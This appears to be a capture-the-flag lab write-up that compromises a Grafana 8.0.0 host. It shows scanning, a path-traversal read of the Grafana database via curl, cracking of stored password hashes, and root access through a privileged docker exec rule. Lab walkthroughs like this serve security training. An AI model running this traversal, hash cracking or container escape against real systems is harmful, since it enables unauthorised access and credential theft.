#vulnlab #linux #easy
# Information Gathering - Nmap
As always, I started with scanning all TCP ports and discovered 2 open ports
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -Pn -n --open --min-rate 3000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 01:22 UTC
Nmap scan report for 10.10.126.3
Host is up (0.17s latency).
Not shown: 65530 closed tcp ports (reset), 3 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 23.44 seconds
```
Then I ran one more TCP scan on those two open ports I found
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sC -sV -p 22,3000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 01:23 UTC
Nmap scan report for 10.10.126.3
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 41:82:25:0c:d8:c0:30:ed:d6:dc:45:e0:f2:77:36:90 (RSA)
| 256 6e:04:39:5c:b2:9d:3f:e8:dd:be:17:2f:33:43:e9:03 (ECDSA)
|_ 256 d9:6d:76:d1:d2:b9:8b:b1:35:f4:21:7f:be:14:d8:fb (ED25519)
3000/tcp open http Grafana http
| http-title: Grafana
|_Requested resource was /login
| http-robots.txt: 1 disallowed entry
|_/
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.18 seconds
```
Lastly a UDP scan against the top 10 ports
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sU --top-ports 10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 01:24 UTC
Nmap scan report for 10.10.126.3
Host is up (0.17s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp closed snmp
445/udp closed microsoft-ds
631/udp closed ipp
1434/udp closed ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
```
# Enumeration
##### Port 3000 HTTP - Grafana
As we see from the Nmap output, there is `Grafana` service running on port 3000.
![[Pasted image 20250930202812.png]]
`gobuster` revealed some directories that I could visit to get some useful information
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -u http://$IP:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --exclude-length 29
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.126.3:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] Exclude Length: 29
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 32882]
/public (Status: 302) [Size: 31] [--> /public/]
/signup (Status: 200) [Size: 32851]
/api (Status: 401) [Size: 26]
/org (Status: 302) [Size: 24] [--> /]
/verify (Status: 200) [Size: 32851]
/metrics (Status: 200) [Size: 49189]
/apis (Status: 401) [Size: 26]
/apidocs (Status: 401) [Size: 26]
/apilist (Status: 401) [Size: 26]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
```
`/verify` shows that the version of Grafana service is `8.0.0`
![[Pasted image 20250930214025.png]]
I looked up `grafana` in `searchsploit`. The exploit for the closest version is Grafana `8.3.0`, which is `Directory Traversal and Arbitrary File Read`
![[Pasted image 20250930214110.png]]
The vulnerable path is `/public/plugins/<plugin>/../../../../../../../../../../../../../<file_to_read>`
![[Pasted image 20250930214256.png]]
I opened `BurpSuite` to test the exploit manually myself and I successfully pulled up `/etc/passwd` file in the Response.
![[Pasted image 20250930214429.png]]
Now I confirmed the `LFI` is 100% possible, I researched and found that `Grafana` data are saved in `/var/lib/grafana/grafana.db`.
So I went and downloaded the db locally.
```bash
curl --path-as-is http://$IP:3000/public/plugins/gauge/../../../../../../../../var/lib/grafana/grafana.db --output grafana.db
```
The db file appears to be `SQLite 3.x database`
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 353, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 353
```
You can dump the whole database or enumerate tables and dump a table.
```bash
sqlite3 grafana.db
.dump
# or
sqlite3 grafana.db
.table
```
`.table` revealed multiple tables but I'm particularly interested in `user`
```bash
sqlite> .table
alert login_attempt
alert_configuration migration_log
alert_instance org
alert_notification org_user
alert_notification_state playlist
alert_rule playlist_item
alert_rule_tag plugin_setting
alert_rule_version preferences
annotation quota
annotation_tag server_lock
api_key session
cache_data short_url
dashboard star
dashboard_acl tag
dashboard_provisioning team
dashboard_snapshot team_member
dashboard_tag temp_user
dashboard_version test_data
data_source user
library_element user_auth
library_element_connection user_auth_token
```
I found 2 users `admin` and `boris` and their hashes
```bash
sqlite> select * from user;
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0
2|0|boris|
[email protected]|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0
```
I newly learned that `Grafana` uses the `PBKDF2_HMAC_SHA256` hashing algorithm and stores the hash digests in hexadecimal and the salt values in plaintext format in the database.
We can use tools like `grafana2hashcat` to crack it.
`Grafana2hashcat.py` didn't crack it but formatted it properly so it can run by `hashcat`
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 grafana2hashcat.py hashes.txt
[+] Grafana2Hashcat
[+] Reading Grafana hashes from: hashes.txt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[*] Outfile was not declared, printing output to stdout instead.
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=
[+] Now, you can run Hashcat with the following command, for example:
hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt
```
It successfully cracked one hash: `beautiful1`
```bash
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
```
Turned out it was `Boris`'s hash and I successfully logged in.
![[Pasted image 20250930222739.png]]
Also the credentials worked against the ssh as well
![[Pasted image 20250930222851.png]]
Found `user.txt` in `/home/boris`
```bash
boris@ip-10-10-10-11:~$ cat user.txt
VL{fbc4248a6ec4f7936b92ec76ad0cb654}
```
# Privilege Escalation
`sudo -l` revealed that `boris` can run the following commands as `root`
```bash
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on ip-10-10-10-11:
(root) NOPASSWD: /snap/bin/docker exec *
```
I found in `hacktricks` that we can execute `docker exec` as `root` and try to escalate privileges escaping from a container and overwrite the `/bin/sh` binary of the host from a container.
As a privileged user within the container we have access to `/dev` and are able to mount the disk of the VM.
```bash
boris@ip-10-10-10-11:~/snap/docker$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=486404k,nr_inodes=121601,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=100208k,mode=755) /dev/xvda1 on / type ext4 (rw,relatime,discard)
```
```bash
boris@ip-10-10-10-11:~/snap/docker$ sudo /snap/bin/docker exec --privileged -u 0 -it grafana /bin/sh
/usr/share/grafana # whoami
root
```
```bash
/usr/share/grafana # cd /mnt/host
/mnt/host # ls
bin initrd.img media run tmp
boot initrd.img.old mnt sbin usr
dev lib opt snap var
etc lib64 proc srv vmlinuz
home lost+found root sys vmlinuz.old
```
Found `root.txt`
```bash
/mnt/host/root # cat root.txt
VL{37c930a3b8b53457d080b0a6f033bc16}
```